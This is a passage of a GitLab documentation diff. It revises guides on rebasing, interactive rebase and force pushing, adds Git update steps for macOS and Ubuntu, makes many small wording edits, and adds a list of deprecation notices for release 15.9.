`upstream`. To check what remotes you have linked to your local -repository, you can run `git remote -v`. +To update your branch `my-feature` with recent changes from your +[default branch](../../user/project/repository/branches/default.md) (here, using `main`): -If there are merge conflicts, Git prompts you to fix -them before continuing the rebase. +1. Fetch the latest changes from `main`: `git fetch origin main` +1. Check out your feature branch: `git checkout my-feature` +1. Rebase it against `main`: `git rebase origin/main` +1. [Force push](#force-push) to your branch. -To learn more, check Git's documentation on [rebasing](https://git-scm.com/book/en/v2/Git-Branching-Rebasing) -and [rebasing strategies](https://git-scm.com/book/en/v2/Git-Branching-Rebasing). +If there are merge conflicts, Git prompts you to fix them before continuing the rebase. -#### Rebase from the GitLab UI +### From the GitLab UI -You can rebase your feature branch directly from the merge request through a -[quick action](../../user/project/quick_actions.md#issues-merge-requests-and-epics), -if all of these conditions are met: +The `/rebase` [quick action](../../user/project/quick_actions.md#issues-merge-requests-and-epics) +rebases your feature branch directly from its merge request if all of these +conditions are met: - No merge conflicts exist for your feature branch. - You have the **Developer** role for the source project. This role grants you @@ -145,51 +111,61 @@ To rebase from the UI: GitLab schedules a rebase of the feature branch against the default branch and executes it as soon as possible. -The user performing the rebase action is considered -a user that added commits to the merge request. When the merge request approvals setting -[**Prevent approvals by users who add commits**](../../user/project/merge_requests/approvals/settings.md#prevent-approvals-by-users-who-add-commits) -is enabled, the user can't also approve the merge request. - ### Interactive rebase -You can use interactive rebase to modify commits. For example, amend a commit -message, squash (join multiple commits into one), edit, or delete -commits. Use a rebase for changing past commit messages, -and organizing the commit history of your branch to keep it clean. +Use an interactive rebase (the `--interactive` flag, or `-i`) to simultaneously +update a branch while you modify how its commits are handled. +For example, to edit the last five commits in your branch (`HEAD~5`), run: -NOTE: -Keeping the default branch commit history clean doesn't require you to -manually squash all your commits before merging every merge request. -With [Squash and Merge](../../user/project/merge_requests/squash_and_merge.md), -GitLab does it automatically. - -When you want to change anything in recent commits, use interactive -rebase by passing the flag `--interactive` (or `-i`) to the rebase command. +```shell +git rebase -i HEAD~5 +``` -For example, if you want to edit the last three commits in your branch -(`HEAD~3`), run: +Git opens the last five commits in your terminal text editor, oldest commit first. +Each commit shows the action to take on it, the SHA, and the commit title: ```shell -git rebase -i HEAD~3 +pick 111111111111 Second round of structural revisions +pick 222222222222 Update inbound link to this changed page +pick 333333333333 Shifts from H4 to H3 +pick 444444444444 Adds revisions from editorial +pick 555555555555 Revisions continue to build the concept part out + +# Rebase 111111111111..222222222222 onto zzzzzzzzzzzz (5 commands) +# +# Commands: +# p, pick <commit> = use commit +# r, reword <commit> = use commit, but edit the commit message +# e, edit <commit> = use commit, but stop for amending +# s, squash <commit> = use commit, but meld into previous commit +# f, fixup [-C | -c] <commit> = like "squash" but keep only the previous ``` -Git opens the last three commits in your terminal text editor and describes -all the interactive rebase options you can use. The default option is `pick`, -which maintains the commit unchanged. Replace the keyword `pick` according to +After the list of commits, a commented-out section shows some common actions you +can take on a commit: + +- **Pick** a commit to use it with no changes. The default option. +- **Reword** a commit message. +- **Edit** a commit to use it, but pause the rebase to amend (add changes to) it. +- **Squash** multiple commits together to simplify the commit history + of your feature branch. + +Replace the keyword `pick` according to the operation you want to perform in each commit. To do so, edit the commits in your terminal's text editor. For example, with [Vim](https://www.vim.org/) as the text editor in -a macOS's Zsh shell, you can `squash` or `fixup` (combine) all three commits: +a macOS Zsh shell, you can `squash` or `fixup` (combine) all of the commits together: -<!-- vale gitlab.FirstPerson = NO --> +NOTE: +The steps for editing through the command line can be slightly +different depending on your operating system and the shell you use. -1. Press <kbd>i</kbd> - on your keyboard to switch to Vim's editing mode. +1. Press <kbd>i</kbd> on your keyboard to switch to Vim's editing mode. 1. Use your keyboard arrows to edit the **second** commit keyword - from `pick` to `squash` or `fixup` (or `s` or `f`). Do the same to the **third** commit. - The first commit should be left **unchanged** (`pick`) as we want to squash - the second and third into the first. + from `pick` to `squash` or `fixup` (or `s` or `f`). Do the same to the remaining commits. + Leave the first commit **unchanged** (`pick`) as we want to squash + all other commits into it. 1. Press <kbd>Escape</kbd> to leave the editing mode. 1. Type `:wq` to "write" (save) and "quit". 1. When squashing, Git outputs the commit message so you have a chance to edit it: @@ -198,45 +174,57 @@ a macOS's Zsh shell, you can `squash` or `fixup` (combine) all three commits: - To leave it as it is, type `:wq`. To edit the commit message: switch to the editing mode, edit the commit message, and save it as you just did. 1. If you haven't pushed your commits to the remote branch before rebasing, - push your changes normally. If you had pushed these commits already, - [force-push](#force-push) instead. + push your changes without a force push. If you had pushed these commits already, + [force push](#force-push) instead. -<!-- vale gitlab.FirstPerson = YES --> +#### Configure squash options for a project -The steps for editing through the command line can be slightly -different depending on your operating system and the shell you're using. +Keeping the default branch commit history clean doesn't require you to +manually squash all your commits on each merge request. GitLab provides +[squash and merge](../../user/project/merge_requests/squash_and_merge.md#configure-squash-options-for-a-project), +options at a project level. -See [Numerous undo possibilities in Git](numerous_undo_possibilities_in_git/index.md#undo-staged-local-changes-without-modifying-history) -for a deeper look into interactive rebase. +## Force push -## Force-push +Complex operations in Git require you to force an update to the remote branch. +Operations like squashing commits, resetting a branch, or rebasing a branch rewrite +the history of your branch. Git requires a forced update to help safeguard against +these more destructive changes from happening accidentally. -When you perform more complex operations, for example, squash commits, reset or -rebase your branch, you must _force_ an update to the remote branch. -These operations imply rewriting the commit history of the branch. -To force an update, pass the flag `--force` or `-f` to the `push` command. For -example: +Force pushing is not recommended on shared branches, as you risk destroying the +changes of others. + +If the branch you want to force push is [protected](../../user/project/protected_branches.md), +you can't force push to it unless you either: + +- Unprotect it. +- [Allow force pushes](../../user/project/protected_branches.md#allow-force-push-on-a-protected-branch) + to it. + +Then you can force push and protect it again. + +### `--force-with-lease` flag + +The [`--force-with-lease`](https://git-scm.com/docs/git-push#Documentation/git-push.txt---force-with-leaseltrefnamegt) +flag force pushes. Because it preserves any new commits added to the remote +branch by other people, it is safer than `--force`: ```shell -git push --force origin my-feature-branch +git push --force-with-lease origin my-feature ``` -Forcing an update is **not** recommended when you're working on shared -branches. +### `--force` flag -Alternatively, you can pass the flag [`--force-with-lease`](https://git-scm.com/docs/git-push#Documentation/git-push.txt---force-with-leaseltrefnamegt) -instead, as it is safer. This flag preserves any new commits added to the remote -branch by other people: +The `--force` flag forces pushes, but does not preserve any new commits added to +the remote branch by other people. To use this method, pass the flag `--force` or `-f` +to the `push` command: ```shell -git push --force-with-lease origin my-feature-branch +git push --force origin my-feature ``` -If the branch you want to force-push is [protected](../../user/project/protected_branches.md), -you can't force push to it unless you either: +## Related topics -- Unprotect it. -- [Allow force push](../../user/project/protected_branches.md#allow-force-push-on-a-protected-branch) - to it. - -Then you can force push and protect it again. +- [Numerous undo possibilities in Git](numerous_undo_possibilities_in_git/index.md#undo-staged-local-changes-without-modifying-history) +for a deeper look into interactive rebases. +- [Git documentation for branches and rebases](https://git-scm.com/book/en/v2/Git-Branching-Rebasing). diff --git a/doc/topics/git/how_to_install_git/index.md b/doc/topics/git/how_to_install_git/index.md index f3ea1431733..f3031acf35f 100644 --- a/doc/topics/git/how_to_install_git/index.md +++ b/doc/topics/git/how_to_install_git/index.md @@ -52,6 +52,20 @@ To install Git on macOS: git --version ``` +#### macOS update + +Periodically you may need to update the version of Git installed by +[Homebrew](/ee/topics/git/how_to_install_git/index.md#macos). To do so, +open a terminal and run these commands: + +```shell +brew update +brew upgrade git +``` + +To verify you are on the updated version, run `git --version` to display +your current version of Git. + ### Ubuntu Linux On Ubuntu and other Linux operating systems, use the built-in package manager @@ -73,6 +87,10 @@ from the officially git --version ``` +#### Ubuntu Linux Update + +Periodically it may be necessary to update Git installed. To do so, run the same [commands](/ee/topics/git/how_to_install_git/index.md#ubuntu-linux). + ### Windows Go to the [Git website](https://git-scm.com/), and then download and install Git for Windows. diff --git a/doc/topics/git/img/create_merge_request_v13_1.png b/doc/topics/git/img/create_merge_request_v13_1.png Binary files differdeleted file mode 100644 index d59cfc74290..00000000000 --- a/doc/topics/git/img/create_merge_request_v13_1.png +++ /dev/null diff --git a/doc/topics/git/img/modify_branches_v13_1.png b/doc/topics/git/img/modify_branches_v13_1.png Binary files differdeleted file mode 100644 index 781f54fc3c0..00000000000 --- a/doc/topics/git/img/modify_branches_v13_1.png +++ /dev/null diff --git a/doc/topics/git/index.md b/doc/topics/git/index.md index f5dd458f625..b47a34fa7b2 100644 --- a/doc/topics/git/index.md +++ b/doc/topics/git/index.md @@ -12,7 +12,7 @@ distributed version control system designed to handle everything from small to large projects with speed and efficiency. [GitLab](https://about.gitlab.com) is a Git-based fully integrated platform for -software development. Besides Git's functionalities, GitLab has a lot of +software development. Besides Git functionalities, GitLab has a lot of powerful [features](https://about.gitlab.com/features/) to enhance your [workflow](https://about.gitlab.com/topics/version-control/what-is-gitlab-flow/). diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md index 731705fd72e..cac203ffac0 100644 --- a/doc/topics/git/lfs/index.md +++ b/doc/topics/git/lfs/index.md @@ -30,7 +30,7 @@ Documentation for GitLab instance administrators is under [LFS administration do ## Requirements - Git LFS must be [enabled in project settings](../../../user/project/settings/index.md#configure-project-visibility-features-and-permissions). -- [Git LFS client](https://git-lfs.github.com) version 1.0.1 or higher must be installed. +- [Git LFS client](https://git-lfs.com/) version 1.0.1 or higher must be installed. ## Known limitations @@ -254,7 +254,7 @@ Git LFS authenticates the user with HTTP Basic Authentication on every push for every object, so user HTTPS credentials are required. By default, Git has support for remembering the credentials for each repository -you use. To learn more, read the [Git credentials man pages](https://git-scm.com/docs/gitcredentials). +you use. For more information, see the [official Git documentation](https://git-scm.com/docs/gitcredentials). For example, you can tell Git to remember the password for a period of time in which you expect to push the objects: diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md index 678e03a2c13..56223e7bcbd 100644 --- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md +++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Undo possibilities in Git **(FREE)** +# Undo options in Git **(FREE)** [Nothing in Git is deleted](https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery), so when you work in Git, you can undo your work. @@ -391,8 +391,8 @@ Tools are available to execute Git commands more quickly. These tools are faster because they do not provide the same feature set as `git filter-branch` does, but focus on specific use cases. -Refer to [Reduce repository size](../../../user/project/repository/reducing_the_repo_size_using_git.md) to -learn more about purging files from repository history and GitLab storage. +For more information about purging files from the repository history and GitLab storage, +see [Reduce repository size](../../../user/project/repository/reducing_the_repo_size_using_git.md). <!-- ## Troubleshooting diff --git a/doc/topics/git/partial_clone.md b/doc/topics/git/partial_clone.md index ed80ab71c53..f5f11b17675 100644 --- a/doc/topics/git/partial_clone.md +++ b/doc/topics/git/partial_clone.md @@ -24,7 +24,7 @@ Git 2.22.0 or later is required. > [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2553) in GitLab 12.10. -Storing large binary files in Git is normally discouraged, because every large +Storing large binary files in Git is usually discouraged, because every large file added is downloaded by everyone who clones or fetches changes thereafter. These downloads are slow and problematic, especially when working from a slow or unreliable internet connection. diff --git a/doc/topics/git/rollback_commits.md b/doc/topics/git/rollback_commits.md index 65c4f1e5007..56d740f3d1b 100644 --- a/doc/topics/git/rollback_commits.md +++ b/doc/topics/git/rollback_commits.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w comments: false --- -# Rollback commits **(FREE)** +# Roll back commits **(FREE)** ## Undo Commits diff --git a/doc/topics/git/stash.md b/doc/topics/git/stash.md index 6ef72e300ed..ee931bbbb7c 100644 --- a/doc/topics/git/stash.md +++ b/doc/topics/git/stash.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w comments: false --- -# Git Stash **(FREE)** +# Git stash **(FREE)** We use `git stash` to store our changes when they are not ready to be committed, but we must change to a different branch. diff --git a/doc/topics/git/troubleshooting_git.md b/doc/topics/git/troubleshooting_git.md index 050d2415b26..a116f6cc978 100644 --- a/doc/topics/git/troubleshooting_git.md +++ b/doc/topics/git/troubleshooting_git.md @@ -25,7 +25,7 @@ To fix this issue, here are some possible solutions. ### Increase the POST buffer size in Git -**If you're using Git over HTTP instead of SSH**, you can try increasing the POST buffer size in Git's +**If you're using Git over HTTP instead of SSH**, you can try increasing the POST buffer size in Git configuration. Example of an error during a clone: @@ -38,7 +38,7 @@ git config http.postBuffer 52428800 ``` The value is specified in bytes, so in the above case the buffer size has been -set to 50MB. The default is 1MB. +set to 50 MB. The default is 1 MB. ### RPC failed; curl 92 HTTP/2 stream 0 was not closed cleanly: INTERNAL_ERROR (err 2) diff --git a/doc/topics/git/useful_git_commands.md b/doc/topics/git/useful_git_commands.md index 4156a3078da..235412f511a 100644 --- a/doc/topics/git/useful_git_commands.md +++ b/doc/topics/git/useful_git_commands.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Useful Git commands **(FREE)** +# Frequently used Git commands **(FREE)** The GitLab support team has collected these commands to help you. You may not need them frequently. diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md index 89ab5e1cf2e..0bf2e1fcc20 100644 --- a/doc/topics/gitlab_flow.md +++ b/doc/topics/gitlab_flow.md @@ -113,7 +113,7 @@ While this is possible in some cases, such as SaaS applications, there are some operations team is at full capacity - but you also merge code at other times. In these cases, you can create a production branch that reflects the deployed code. -You can deploy a new version by merging `main` into the `production` branch. +You can deploy a new version by merging `main` into the `production` branch. While not shown in the graph below, the work on the `main` branch works just like in GitHub flow, i.e. with feature-branches being merged into `main`. ```mermaid @@ -416,7 +416,7 @@ git commit -m 'Properly escape special characters in XML generation' An example of a good commit message is: "Combine templates to reduce duplicate code in the user views." The words "change," "improve," "fix," and "refactor" don't add much information to a commit message. -For more information, please see Tim Pope's excellent [note about formatting commit messages](https://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html). +For more information, see Tim Pope's excellent [note about formatting commit messages](https://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html). To add more context to a commit message, consider adding information regarding the origin of the change. For example, the URL of a GitLab issue, or a Jira issue number, diff --git a/doc/topics/offline/quick_start_guide.md b/doc/topics/offline/quick_start_guide.md index 015fd9fc720..80ce703f7db 100644 --- a/doc/topics/offline/quick_start_guide.md +++ b/doc/topics/offline/quick_start_guide.md @@ -12,7 +12,7 @@ instance entirely offline. ## Installation NOTE: -This guide assumes the server is Ubuntu 20.04 using the [Omnibus installation method](https://docs.gitlab.com/omnibus/) and will be running GitLab [Enterprise Edition](https://about.gitlab.com/install/ce-or-ee/). Instructions for other servers may vary. +This guide assumes the server is Ubuntu 20.04 using the [Omnibus installation method](https://docs.gitlab.com/omnibus/) and is running GitLab [Enterprise Edition](https://about.gitlab.com/install/ce-or-ee/). Instructions for other servers may vary. This guide also assumes the server host resolves as `my-host.internal`, which you should replace with your server's FQDN, and that you have access to a different server with Internet access to download the required package files. @@ -204,12 +204,11 @@ The Version Check and Service Ping services improve the GitLab user experience a users are on the most up-to-date instances of GitLab. These two services can be turned off for offline environments so that they do not attempt and fail to reach out to GitLab services. -Learn more about [disabling usage statistics](../../user/admin_area/settings/usage_statistics.md#enable-or-disable-usage-statistics). +For more information, see [Enable or disable usage statistics](../../user/admin_area/settings/usage_statistics.md#enable-or-disable-usage-statistics). ### Configure NTP -In GitLab 15.4 and 15.5, Gitaly Cluster doesn't function if `pool.ntp.org` is unreachable. -[Customize the time server setting](../../administration/gitaly/praefect.md#customize-time-server-setting) on the Gitaly +In GitLab 15.4 and 15.5, Gitaly Cluster assumes `pool.ntp.org` is accessible. If `pool.ntp.org` is not accessible, [customize the time server setting](../../administration/gitaly/praefect.md#customize-time-server-setting) on the Gitaly and Praefect servers so they can use an accessible NTP server. On offline instances, the [GitLab Geo check Rake task](../../administration/geo/replication/troubleshooting.md#can-geo-detect-the-current-site-correctly) diff --git a/doc/topics/plan_and_track.md b/doc/topics/plan_and_track.md index d79a8ad066b..67d5e996837 100644 --- a/doc/topics/plan_and_track.md +++ b/doc/topics/plan_and_track.md @@ -54,6 +54,7 @@ Align your work across teams. Use these day-to-day planning features. +- [Your work sidebar](../topics/your_work.md) - [Keyboard shortcuts](../user/shortcuts.md) - [Quick actions](../user/project/quick_actions.md) - [Markdown](../user/markdown.md) diff --git a/doc/topics/your_work.md b/doc/topics/your_work.md new file mode 100644 index 00000000000..862f9ae8430 --- /dev/null +++ b/doc/topics/your_work.md @@ -0,0 +1,18 @@ +--- +stage: Manage +group: Foundations +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Your work sidebar + +- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/384342) in GitLab 15.9. + +The **Your work** left sidebar provides access to your: + +- [Projects](../user/project/working_with_projects.md#view-projects) +- [Groups](../user/group/index.md) +- [Issues](../user/project/issues/index.md) +- [Merge requests](../user/project/merge_requests/index.md) +- [To-do List](../user/todos.md) +- [Milestones](../user/project/milestones/index.md) diff --git a/doc/update/background_migrations.md b/doc/update/background_migrations.md index c5ffefdd77f..1f9ef9d430b 100644 --- a/doc/update/background_migrations.md +++ b/doc/update/background_migrations.md @@ -78,7 +78,7 @@ sudo -u git -H bundle exec rails runner -e production 'puts Gitlab::Database::Ba > - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/329511) in GitLab 13.12. > - Enabled on GitLab.com. > - Recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-batched-background-migrations). +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-background-migrations). There can be [risks when disabling released features](../administration/feature_flags.md#risks-when-disabling-released-features). Refer to this feature's version history for more details. @@ -203,17 +203,21 @@ Feature.disable(:optimize_batched_migrations) ## Troubleshooting -### Enable or disable batched background migrations +### Enable or disable background migrations -In extremely limited circumstances, a GitLab administrator can disable the -`execute_batched_migrations_on_schedule` [feature flag](../administration/feature_flags.md). -This flag is enabled by default, and should be disabled only as a last resort +In extremely limited circumstances, a GitLab administrator can disable either or +both of these [feature flags](../administration/feature_flags.md): + +- `execute_background_migrations` +- `execute_batched_migrations_on_schedule` + +These flags are enabled by default. Disable them only as a last resort to limit database operations in special circumstances, like database host maintenance. WARNING: -Do not disable this flag unless you fully understand the ramifications. If you disable -the `execute_batched_migrations_on_schedule` feature flag, GitLab upgrades may fail -and data loss may occur. +Do not disable either of these flags unless you fully understand the ramifications. If you disable +the `execute_background_migrations` or `execute_batched_migrations_on_schedule` feature flag, +GitLab upgrades might fail and data loss might occur. ### Database migrations failing because of batched background migration not finished @@ -271,7 +275,7 @@ arguments until the status query returns no rows. ##### For a no-downtime deployment As the failing migrations are post-deployment migrations, you can remain on a running instance of the upgraded -version and wait for the batched background migrations to finish normally. +version and wait for the batched background migrations to finish. 1. [Check the status](#check-the-status-of-batched-background-migrations) of the batched background migration from the error message, and make sure it is listed as finished. If it is still active, either wait until it is done, diff --git a/doc/update/deprecations.md b/doc/update/deprecations.md index cfee3263db8..f212316fa16 100644 --- a/doc/update/deprecations.md +++ b/doc/update/deprecations.md @@ -48,6 +48,591 @@ sole discretion of GitLab Inc. <div class="announcement-milestone"> +## Announced in 15.9 + +<div class="deprecation removal-170 breaking-change"> + +### Accessibility Testing is deprecated + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Due to low customer usage, Accessibility Testing is deprecated and will be removed. There is no planned replacement and users should stop using Accessibility Testing before GitLab 17.0. + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### Browser Performance Testing is deprecated + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Due to limited customer usage, Browser Performance Testing is deprecated and will be removed. There is no planned replacement and users should stop using Browser Performance Testing before GitLab 17.0. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### CI/CD jobs will fail when no secret is returned from Hashicorp Vault + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +When using the native HashiCorp Vault integration, CI/CD jobs will fail when no secret is returned from Vault. Make sure your configuration always return a secret, or update your pipeline to handle this change, before GitLab 16.0. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Default CI/CD job token (`CI_JOB_TOKEN`) scope changed + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +In GitLab 14.4 we introduced the ability to limit the "outbound" scope of the CI/CD job token (`CI_JOB_TOKEN`) to make it more secure. You can prevent job tokens from your project's pipelines from being used to access other projects. If needed, you can list specific projects that you want to access with your project's job tokens. + +In 15.9 we extended this functionality with a better solution, an "inbound" scope limit. You can prevent the job tokens from _other_ projects from being used to access your project. With this feature, you can optionally list specific projects that you want to allow to access your project with _their_ job token. + +In 16.0, this inbound scope limit will be the only option available for all projects, and the outbound limit setting will be removed. To prepare for this change, you can enable the ["inbound" CI/CD job token limit](https://docs.gitlab.com/ee/ci/jobs/ci_job_token.html#configure-the-job-token-scope-limit) feature now, and list any projects that need to access your project. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Development dependencies reported for PHP and Python + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +In GitLab 16.0 the GitLab Dependency Scanning analyzer will begin reporting development dependencies for both Python/pipenv and PHP/composer projects. Users who do not wish to have these development dependencies reported should set `DS_INCLUDE_DEV_DEPENDENCIES: false` in their CI/CD file. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Embedding Grafana panels in Markdown is deprecated + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The ability to add Grafana panels in GitLab Flavored Markdown is deprecated in 15.9 and will be removed in 16.0. +We intend to replace this feature with the ability to [embed charts](https://gitlab.com/groups/gitlab-org/opstrace/-/epics/33) with the [GitLab Observability UI](https://gitlab.com/gitlab-org/opstrace/opstrace-ui). + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Error Tracking UI in GitLab Rails is deprecated + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The [Error Tracking UI](https://docs.gitlab.com/ee/operations/error_tracking.html) is deprecated in 15.9 and will be removed in 16.0. In future versions, you should use the [GitLab Observability UI](https://gitlab.com/gitlab-org/opstrace/opstrace-ui/), which will gradually be made available on GitLab.com over the next few releases. + +During the transition to the GitLab Observability UI, we will migrate the [GitLab Observability Backend](https://gitlab.com/gitlab-org/opstrace/opstrace) from a per-cluster deployment model to a per-tenant deployment model. Because [Integrated Error Tracking](https://docs.gitlab.com/ee/operations/error_tracking.html#integrated-error-tracking) is in Open Beta, we will not migrate any existing user data. For more details about the migration, see the direction pages for: + +- [Observability](https://about.gitlab.com/direction/monitor/observability/data-visualization/). +- The [Observability Backend](https://about.gitlab.com/direction/monitor/observability/data-management/). +- [Data visualization](https://about.gitlab.com/direction/monitor/observability/data-visualization/). + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### External field in GraphQL ReleaseAssetLink type + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +In the [GraphQL API](https://docs.gitlab.com/ee/api/graphql), the `external` field of [`ReleaseAssetLink` type](https://docs.gitlab.com/ee/api/graphql/reference/index.html#releaseassetlink) was used to indicate whether a [release link](https://docs.gitlab.com/ee/user/project/releases/release_fields.html#links) is internal or external to your GitLab instance. +As of GitLab 15.9, we treat all release links as external, and therefore, this field is deprecated in GitLab 15.9, and will be removed in GitLab 16.0. +To avoid any disruptions to your workflow, please stop using the `external` field because it will be removed and will not be replaced. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### External field in Releases and Release Links APIs + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +In [Releases API](https://docs.gitlab.com/ee/api/releases) and [Release Links API](https://docs.gitlab.com/ee/api/releases/links.html), the `external` field was used to indicate whether a [release link](https://docs.gitlab.com/ee/user/project/releases/release_fields.html#links) is internal or external to your GitLab instance. +As of GitLab 15.9, we treat all release links as external, and therefore, this field is deprecated in GitLab 15.9, and will be removed in GitLab 16.0. +To avoid any disruptions to your workflow, please stop using the `external` field because it will be removed and will not be replaced. + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### Filepath field in Releases and Release Links APIs + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Support for specifying a `filepath` for a direct asset link in the [Releases API](https://docs.gitlab.com/ee/api/releases) +and [Release Links API](https://docs.gitlab.com/ee/api/releases/links.html) is deprecated in GitLab 15.9 and will be +removed in GitLab 17.0. GitLab introduced a new field called `direct_asset_path` in GitLab 15.9 to replace `filepath` +until it is finally removed. + +To avoid any disruptions, you should replace `filepath` with `direct_asset_path` in your calls to the following endpoints: + +- Releases API: + - [Create a release](https://docs.gitlab.com/ee/api/releases/#create-a-release) + - [Download a release asset](https://docs.gitlab.com/ee/api/releases/#download-a-release-asset) +- Release Links API: + - [Create a release link](https://docs.gitlab.com/ee/api/releases/links.html#create-a-release-link) + - [Update a release link](https://docs.gitlab.com/ee/api/releases/links.html#update-a-release-link) + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### GitLab Runner platforms and setup instructions in GraphQL API + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The `runnerPlatforms` and `runnerSetup` queries to get GitLab Runner platforms and installation instructions +are deprecated and will be removed from the GraphQL API. For installation instructions, you should use the +[GitLab Runner documentation](https://docs.gitlab.com/runner/) + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### HashiCorp Vault integration will no longer use CI_JOB_JWT by default + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +As part of our effort to improve the security of your CI workflows using JWT and OIDC, the native HashiCorp integration is also being updated in GitLab 16.0. Any projects that use the [`secrets:vault`](https://docs.gitlab.com/ee/ci/yaml/#secretsvault) keyword to retrieve secrets from Vault will need to be [configured to use ID tokens](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html#configure-automatic-id-token-authentication). + +To be prepared for this change, you should do the following before GitLab 16.0: + +- [Disable the use of JSON web tokens](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html#enable-automatic-id-token-authentication) in the pipeline. +- Ensure the bound audience is prefixed with `https://`. +- Use the new [`id_tokens`](https://docs.gitlab.com/ee/ci/yaml/#id_tokens) keyword + and configure the `aud` claim. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Legacy URLs replaced or removed + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +GitLab 16.0 removes legacy URLs from the GitLab application. + +When subgroups were introduced in GitLab 9.0, a `/-/` delimiter was added to URLs to signify the end of a group path. All GitLab URLs now use this delimiter for project, group, and instance level features. + +URLs that do not use the `/-/` delimiter are planned for removal in GitLab 16.0. For the full list of these URLs, along with their replacements, see [issue 28848](https://gitlab.com/gitlab-org/gitlab/-/issues/28848#release-notes). + +Update any scripts or bookmarks that reference the legacy URLs. GitLab APIs are not affected by this change. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### License Compliance CI Template + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The GitLab [License Compliance](https://docs.gitlab.com/ee/user/compliance/license_compliance/) CI template is now deprecated and is scheduled for removal in the GitLab 16.0 release. Users who wish to continue using GitLab for License Compliance should remove the License Compliance template from their CI pipeline and add the [Dependency Scanning template](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#configuration). The Dependency Scanning template is now capable of gathering the required license information so it is no longer necessary to run a separate License Compliance job. The License Compliance CI template should not be removed prior to verifying that the `license_scanning_sbom_scanner` and `package_metadata_synchronization` flags are enabled for the instance and that the instance has been upgraded to a version that supports [the new method of license scanning](https://docs.gitlab.com/ee/user/compliance/license_scanning_of_cyclonedx_files/). + +| CI Pipeline Includes | GitLab <= 15.8 | 15.9 <= GitLab < 16.0 | GitLab >= 16.0 | +| ------------- | ------------- | ------------- | ------------- | +| Both DS and 